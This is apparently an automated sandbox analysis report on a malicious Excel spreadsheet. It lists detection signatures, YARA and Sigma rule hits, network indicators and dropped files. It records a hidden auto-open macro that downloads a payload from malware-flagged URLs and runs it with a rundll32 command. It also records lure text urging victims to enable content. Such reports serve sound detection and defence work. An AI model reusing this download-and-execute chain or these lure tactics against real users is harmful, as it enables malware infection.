Play interactive tour

Edit tour

Analysis Report document-1900770373.xls

Overview

General Information

Sample Name:	document-1900770373.xls
Analysis ID:	355743
MD5:	139a10b28479f4f9e2e4465053e039f8
SHA1:	10251eb69e603ed7259265015b71b1160e3b4a06
SHA256:	ed17094f3e820674c9fa18192292108e8766d28eb0afcc0cf350a44b54196c1d
Tags:	xls
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for domain / URL

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Found abnormal large hidden Excel 4.0 Macro sheet

Sigma detected: Microsoft Office Product Spawning Windows Shell

Yara detected hidden Macro 4.0 in Excel

Document contains embedded VBA macros

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 1552 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2844 cmdline: rundll32 ..\idefje.ekfd,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
document-1900770373.xls	SUSP_EnableContent_String_Gen	Detects suspicious string that asks to enable active content in Office Doc	Florian Roth	0x11c55:$e1: Enable Editing 0x11cca:$e2: Enable Content
document-1900770373.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x13ca2:$s1: Excel 0x14cfd:$s1: Excel 0x36bd:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
document-1900770373.xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\idefje.ekfd,DllRegisterServer, CommandLine: rundll32 ..\idefje.ekfd,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1552, ProcessCommandLine: rundll32 ..\idefje.ekfd,DllRegisterServer, ProcessId: 2844

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: https://kashful.softwarebd.biz/ds/1802.gif	Avira URL Cloud: Label: malware
Source: https://kashful.softwarebd.biz/ds/1802.Dc	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Show sources

Source: kashful.softwarebd.biz	Virustotal: Detection: 6%			Perma Link
Source: https://kashful.softwarebd.biz/ds/1802.gif	Virustotal: Detection: 13%			Perma Link

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown

HTTPS traffic detected: 185.151.30.170:443 -> 192.168.2.22:49165 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Source: global traffic

DNS query: name: kashful.softwarebd.biz

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 185.151.30.170:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 185.151.30.170:443

Networking:

Source: Joe Sandbox View

ASN Name: TWENTYIGB TWENTYIGB

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: kashful.softwarebd.biz

Source: E0F5C59F9FA661F6F4C50B87FEF3A15A.0.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: CD13771E5132C64BEEF257719A4363C40.0.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: CD13771E5132C64BEEF257719A4363C4.0.dr	String found in binary or memory: http://cert.int-x1.letsencrypt.org/
Source: CD13771E5132C64BEEF257719A4363C40.0.dr	String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: CD13771E5132C64BEEF257719A4363C40.0.dr	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: 77EC63BDA74BD0D0E0426DC8F8008506.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: CD13771E5132C64BEEF257719A4363C40.0.dr	String found in binary or memory: http://isrg.trustid.ocsp.identrust.com0;
Source: rundll32.exe, 00000003.00000002.2089330403.0000000001DD7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2089330403.0000000001DD7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000003.00000002.2089330403.0000000001DD7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2089330403.0000000001DD7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2089330403.0000000001DD7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: document-1900770373.xls	String found in binary or memory: https://kashful.softwarebd.biz/ds/1802.Dc
Source: document-1900770373.xls	String found in binary or memory: https://kashful.softwarebd.biz/ds/1802.gif

Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165

Source: unknown

HTTPS traffic detected: 185.151.30.170:443 -> 192.168.2.22:49165 version: TLS 1.2

System Summary:

Found malicious Excel 4.0 Macro

Show sources

Source: document-1900770373.xls

Initial sample: urlmon

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing" 11 from the yellow bar above 12 13 @Once You have Enable Editing, please click "I
Source: Document image extraction number: 1	Screenshot OCR: Enable Editing" from the yellow bar above Once You have Enable Editing, please click "Enable Conte
Source: Document image extraction number: 1	Screenshot OCR: Enable Content" from the yellow bar above WHY I CANNOT OPEN THIS DOCUMENT? You are using iOS or A
Source: Document image extraction number: 6	Screenshot OCR: Enable Editing" from the yellow bar above @Once You have Enable Editing, please click "EnableConte

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: document-1900770373.xls

Initial sample: EXEC

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: document-1900770373.xls

Initial sample: Sheet size: 4931

Source: document-1900770373.xls

OLE indicator, VBA macros: true

Source: document-1900770373.xls, type: SAMPLE	Matched rule: SUSP_EnableContent_String_Gen date = 2019-02-12, hash1 = 525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de, author = Florian Roth, description = Detects suspicious string that asks to enable active content in Office Doc, reference = Internal Research
Source: document-1900770373.xls, type: SAMPLE	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Source: rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal96.expl.evad.winXLS@3/13@3/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\CBBE0000

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRB4FC.tmp

Jump to behavior

Source: document-1900770373.xls

OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: unknown

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\idefje.ekfd,DllRegisterServer

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\idefje.ekfd,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\idefje.ekfd,DllRegisterServer

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Show sources

Source: Yara match

File source: document-1900770373.xls, type: SAMPLE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting31	Path Interception	Process Injection1	Masquerading1	OS Credential Dumping	File and Directory Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution23	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	System Information Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting31	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
kashful.softwarebd.biz	6%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
https://kashful.softwarebd.biz/ds/1802.gif	13%	Virustotal		Browse
https://kashful.softwarebd.biz/ds/1802.gif	100%	Avira URL Cloud	malware
https://kashful.softwarebd.biz/ds/1802.Dc	100%	Avira URL Cloud	malware
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kashful.softwarebd.biz	185.151.30.170	true	true	6%, Virustotal, Browse	unknown
cert.int-x1.letsencrypt.org	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000003.00000002.2089330403.0000000001DD7000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2089330403.0000000001DD7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2089330403.0000000001DD7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp	false		high
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2089178138.0000000001BF0000.00000002.00000001.sdmp	false		high
https://kashful.softwarebd.biz/ds/1802.gif	document-1900770373.xls	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://cert.int-x1.letsencrypt.org/	CD13771E5132C64BEEF257719A4363C4.0.dr	false		high
https://kashful.softwarebd.biz/ds/1802.Dc	document-1900770373.xls	true	Avira URL Cloud: malware	unknown
http://cps.root-x1.letsencrypt.org0	CD13771E5132C64BEEF257719A4363C40.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.151.30.170	unknown	United Kingdom		48254	TWENTYIGB	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	355743
Start date:	21.02.2021
Start time:	16:54:13
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 32s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	document-1900770373.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.expl.evad.winXLS@3/13@3/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 23.50.97.168, 192.35.177.64, 8.248.119.254, 8.248.133.254, 8.248.131.242, 67.26.139.254, 8.253.207.121 Excluded domains from analysis (whitelisted): e8652.dscx.akamaiedge.net, audownload.windowsupdate.nsatc.net, apps.digsigtrust.com, ctldl.windowsupdate.com, auto.au.download.windowsupdate.com.c.footprint.net, apps.identrust.com, au-bg-shim.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TWENTYIGB	ransomware.exe	Get hash	malicious	Browse	185.151.30.147
	61vPFITGkbgCrMT.exe	Get hash	malicious	Browse	185.151.30.167
	3KvCNpcQ6tvwKr5.exe	Get hash	malicious	Browse	185.151.30.167
	SEA LION LOGISTICS-URGENT QUOTATION.exe	Get hash	malicious	Browse	185.151.30.167
	Amazon_eGift-Card.451219634.doc	Get hash	malicious	Browse	185.151.30.145
	eGift-CardAmazon.907427310.doc	Get hash	malicious	Browse	185.151.30.145
	Order_Gift_Card_411022863.doc	Get hash	malicious	Browse	185.151.30.145
	https://warleyroad.calderdale.sch.uk/folded/recovery/index.php?email=w_allender@bmifcu.org	Get hash	malicious	Browse	185.151.31.155
	PO_scan000000100205032.exe	Get hash	malicious	Browse	185.151.30.148

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	AswpCUetE0.doc	Get hash	malicious	Browse	185.151.30.170
	EIY2otZ3r8.doc	Get hash	malicious	Browse	185.151.30.170
	Invoice.ppt	Get hash	malicious	Browse	185.151.30.170
	Invoice.ppt	Get hash	malicious	Browse	185.151.30.170
	SecuriteInfo.com.Exploit.Siggen3.10343.28053.xls	Get hash	malicious	Browse	185.151.30.170
	document-1625724940.xls	Get hash	malicious	Browse	185.151.30.170
	document-354084053.xls	Get hash	malicious	Browse	185.151.30.170
	SecuriteInfo.com.Exploit.Siggen3.10204.3307.xls	Get hash	malicious	Browse	185.151.30.170
	document-1220302043.xls	Get hash	malicious	Browse	185.151.30.170
	document-573042818.xls	Get hash	malicious	Browse	185.151.30.170
	document-573042818.xls	Get hash	malicious	Browse	185.151.30.170
	document-573042818.xls	Get hash	malicious	Browse	185.151.30.170
	Document27467.xls	Get hash	malicious	Browse	185.151.30.170
	document-750895311.xls	Get hash	malicious	Browse	185.151.30.170
	MV TEAL BULKERS.xlsx	Get hash	malicious	Browse	185.151.30.170
	ForeignRemittance_20210219_USD.xlsx	Get hash	malicious	Browse	185.151.30.170
	HBL VRNA00872.xlsx	Get hash	malicious	Browse	185.151.30.170
	statement.xlsx	Get hash	malicious	Browse	185.151.30.170
	MV SEASPAN EMERALD II.xlsx	Get hash	malicious	Browse	185.151.30.170
	_Doc_Shipment_330393_.xlsx	Get hash	malicious	Browse	185.151.30.170

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 59134 bytes, 1 file
Category:	dropped
Size (bytes):	59134
Entropy (8bit):	7.995450161616763
Encrypted:	true
SSDEEP:	1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk
MD5:	E92176B0889CC1BB97114BEB2F3C1728
SHA1:	AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443
SHA-256:	58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3
SHA-512:	CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........T.........R.. .authroot.stl.ym&7.5..CK..8T....c_.d...:.(.....].M$[v.4.).E.$7I.....e..Y..Rq...3.n..u..............\|..=H....&..1.1..f.L..>e.6....F8.X.b.1$,.a...n-......D..a....[.....i,+.+..<.b._#...G..U.....n..21pa..>.32..Y..j...;Ay........n/R... ._.+..<...Am.t.<. ..V..y`.yO..e@../...<#..#......dju..B......8..H'..lr.....l.I6/..d.].xIX<...&U...GD..Mn.y&.[<(tk.....%B.b;./..`.#h....C.P...B..8d.F...D.k........... 0..w...@(.. @K....?.)ce........\.\......l......Q.Qd..+...@.X..##3..M.d..n6.....p1..)...x0V...ZK.{...{.=#h.v.).....b.....[...L..c..a..,...E5X..i.d..w.....#o+.........X.P...k...V.$...X.r.e....9E.x..=\...Km.......B...Ep...xl@@c1.....p?...d.{EYN.K.X>D3..Z..q.] .Mq.........L.n}........+/l\.cDB0.'.Y...r.[.........vM...o.=....zK..r..l..>B....U..3....Z...ZjS...wZ.M...IW;..e.L...zC.wBtQ..&.Z.Fv+..G9.8..!..\T:K`......m.........9T.u..3h.....{...d[...@...Q.?..p.e.t[.%7..........^.....s.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CD13771E5132C64BEEF257719A4363C4 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	1196
Entropy (8bit):	7.269027716005122
Encrypted:	false
SSDEEP:	24:mPvKUJ0k8cUM7APBNRfGnKRvgihtHZib7HbFANMgduqgbzs:+5J0k8cUAACK5xhlZc7HbFANhgqJ
MD5:	33E25CB51753B4C38817774E38BD2107
SHA1:	3EAE91937EC85D74483FF4B77B07B43E2AF36BF4
SHA-256:	7FDCE3BF4103C2684B3ADBB5792884BD45C75094C217788863950346F79C90A3
SHA-512:	95BED189BF575A88E7935F5967154F74908D3C32662C3F0B66AF8522A6AF22653FD693A39EFE3639F5134466C46A16EBB7E849890FDE84324DE645FFE7E892B1
Malicious:	false
Reputation:	low
Preview:	0...0..............u..u.C.C...D.0....H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...151019223336Z..201019223336Z0J1.0...U....US1.0...U....Let's Encrypt1#0!..U....Let's Encrypt Authority X10.."0....H.............0............Z..G.r]7..hc0..5&.%.5.p./..KA....5.X..h....u...bq.y.`......xgq.i.......`<H.~.Mw.$.G.Z...7....{....J.A.6....m<.h.#B...tg.....Ra..?e.....V....?.......k...}.+.e...6u.k.J...Ix/..O* %)..t..1.18....3.C...0..y1.=-6....3j.91....d.3...).....}..........0...0...U.......0.......0...U...........0...+........s0q02..+.....0..&http://isrg.trustid.ocsp.identrust.com0;..+.....0../http://apps.identrust.com/roots/dstrootcax3.p7c0...U.#..0......{,q...K.u...`...0T..U. .M0K0...g.....0?..+..........000...+........"http://cps.root-x1.letsencrypt.org0<..U...50301./.-.+http://crl.identrust.com/DSTROOTCAX3CRL.crl0...U....0...0....mil0...U.......Jjc.}...9..Ee...0....H..............."K......P..xp..X].Bv..rZ.i.w./...N,.b.'.........E......+

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.366016576663508
Encrypted:	false
SSDEEP:	24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
MD5:	D4AE187B4574036C2D76B6DF8A8C1A30
SHA1:	B06F409FA14BAB33CBAF4A37811B8740B624D9E5
SHA-256:	A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
SHA-512:	1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
Malicious:	false
Reputation:	high, very likely benign file
